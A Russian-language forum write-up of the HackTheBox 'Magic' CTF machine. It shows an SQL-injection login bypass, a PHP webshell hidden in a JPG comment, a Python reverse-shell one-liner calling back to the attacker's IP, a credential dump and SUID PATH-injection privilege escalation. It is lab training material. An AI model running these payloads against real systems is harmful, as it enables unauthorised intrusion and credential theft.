Привет Форумчане!
Продолжаем рассматривать CTF с площадки HackTheBox, одна из таких интересных коробок по Linux будет разобрана в этой статье, не буду томить... Начнём!Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txtОсновная рабочая машина: Kali Linux 2021.3
IP адрес удаленной машины - 10.10.10.185
IP адрес основной машины - 10.10.14.34
Начальная разведка и сканирование портов:
Как всегда начинаем с сканирования портов удаленной рабочей машины, nmap поможет нам в этом:nmap -sC -sV 10.10.10.185
Пока что мы сканируем только самые популярные порты. Посмотрим какой результат нам выдал nmap:
Видим два открытых порта 22/ssh и 80/http на сервере Apache 2.4.29. Зайдем на страницу этого сервера:
Видим какую-то галерею с космосом на заднем фоне, давайте откроем исходный код страницы:
Немного пролистав горизонтально код, мы натыкаемся на полный путь папки /images/uploads/ - видимо где-то здесь есть место для загрузки файлов.
Давайте воспользуемся Dirsearch в связке с Gobuster. Что это за инструменты и для чего они нужны нам, как веб-пентестерам:
Dirsearch - это простая утилита терминала, предназначенная для брут-форса директорий и файлов по сайту. Он также способен искать известные файлы по заданным расширениям
Gobuster - один из самых мощных и быстрых инструментов. Он использует сканер каталогов, написанный на языке Go, он быстрее и гибче, чем интерпретируемый скрипт.
dirsearch -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,log,sql,txt,bak,tar,tar.gz.zip,rar,swp,gz,asp,aspx
С помощью параметра -u мы указываем ссылку на веб-сайт, параметр -w выбирает наш список по которому и будет происходить брут-форс, а параметр -e указывает допустимые или дополнительные расширения файлов.
gobuster dir -u http://10.10.10.185/ -w /root/SecLists/Discovery/Web-Content/raft-large-directories.txt
В Gobuster всё аналогично, кроме его параметра dir, этот параметр указывает что нужно перебирать директории, у Gobuster'а есть ещё несколько параметров поиска. Например таких как: vhost (Виртуальные хосты), dns (поддомены) и s3 (Перебор Amazon S3 buckets).
К сожалению все переборы директорий закончились не очень удачно, так как они перенаправляют нас на 403 error (Нет прав доступа), но это не всё, всегда есть другая точка входа, в нашем случае это страница входа в аккаунт -> login.php
Заходим на неё и видим следующее:
Веб-Эксплуатация и получение пользователя
Нам предлагают ввести имя пользователя и пароль, открываем BurpSuite и начинаем проламываться через эту форму. Первое что нам нужно сделать это перехватить запрос, далее отправим его в Repeater:Здесь внимание стоит обратить на alert, он говорит нам что у нас неправильный логин или пароль, давайте попробуем обойти авторизацию с помощью sql-injection или проще называемой "скули"
В параметр username добавим строчку ' or 1=1 -- - это обычный обход авторизации с помощью sql-injection основанной на буллевых значениях...
Отправляем запрос и видим перенаправление 302 Follow Redirect, переходим и получаем:
Welcome Admin! Отлично мы админ, теперь видим перед собой форму загрузки файлов, попробуем загрузить наш PentestMonkey Reverse Shell с расширением .php
На что форма выдаёт ошибку где ссылается на то, что только файлы с расширениями JPG, JPEG И PNG доступны для загрузки.
Теперь очередь обхода - этой формы загрузок, с помощью ExifTool (программы для просмотра метаданных) отредактируем комментарий в изображении скопировав туда обычный php reverse shell cmd:
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' runme.jpg
Теперь чтобы прогружать скрипт, а не саму картинку - переименуем её в runme.php.jpg и загрузим.
После успешной загрузки, мы вспоминаем про путь /images/uploads/ добавляем сюда наше имя файла и можем успешно добавлять POST запрос к нашему скрипту -
Ссылка скрыта от гостей
Иии... Ура! У нас есть cmd webshell, давайте сделаем бэк-коннект до себя, добавив в URL
Ссылка скрыта от гостей
-c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.34",9999));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'Есть! Мы получили обратную оболочку, теперь мы будем спускаться по директориям вниз и параллельно смотреть содержимое интересных файлов, например такого как - db.php5 лежащего в директории /var/www/Magic:
А вот и данные от базы данных, давайте посмотрим какие у нас есть пользователи, в папке /home/ есть только один пользователь - theseus
Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus, но этот пароль не подошёл к нему, хорошо, тогда сдампим базу данных через mysqldump:
mysqldump -B Magic -u theseus -p
Через параметр -B передаём имя БД, а через -u имя пользователя и -p пароль:
И получаем имя пользователя admin и пароль Th3s3usW4sK1ng
Уж на этот раз, это точно должен быть пароль от пользователя theseus, подставим его:
Да! Мы нашли пользовательский пароль. Зайдем в домашнюю директорию и выведем пользовательский флаг:
Повышение привилегий
Теперь попробуем найти все SUID файлы:find / -perm -u=s -type f 2>/dev/null
Эта команда выдаст нам все файлы, с разрешениями владельца файла которые мы можем выполнить и среди них мы видим интересный файл /bin/sysinfo.
Так как это бинарный файл, давайте посмотрим его строки:
strings /bin/sysinfo
Среди строк мы находим уязвимость PATH Injection, так как утилита fdisk подгружается программой не через полный путь к нему! Попробуем это использовать, загрузим свой файл fdisk со следующим содержимым:
Он будет содержать в себе самый обычный Bash Reverse Shell, итак откроем у себя порт через интересную утилиту Rlwrap.
Rlwrap - это отличная утилита суть которой заключается в упрощении управления пользовательским вводом, проще говоря вы сможете использовать стрелочки для редактирования и вставления прошлых команд из терминала при tty шелле!
Запустим его в связке с Netcat на порту 9998:
rlwrap nc -nvlp 9998
Загружаем наш файл на удаленную машину через Python модуль http.server с портом 80:
python3 -m http.server 80
Теперь скачиваем наш файл в папку /tmp/ через wget:
wget 10.10.14.34/fdisk
Надо дать права на выполнения этому файлу, используем команду chmod:
chmod +x fdisk
Теперь самая важная деталь этой уязвимости в честь чего она и названа эта инъекция - PATH (путь).
Нам нужно изменить путь запуска на наш, т.е /tmp/ - сделаем это командой export:
export PATH=/tmp:$PATH
Запустим наш бинарный файл /bin/sysinfo и посмотрим наши подключения!
Поздравляю, мы получили root!
Выводы:
Эта CTF научила нас:1) Пользоваться уязвимостью для обхода форм авторизаций на основе sql-инъекции
2) Обходить фильтрацию загрузки файлов и загружать туда шелл.
3) Брутить директории и файлы сайтов.
4) Использовать уязвимость PATH Injection.
5) И просто творить магию)
Спасибо, за то что вы прочитали мою статью! Скоро буду
Последнее редактирование: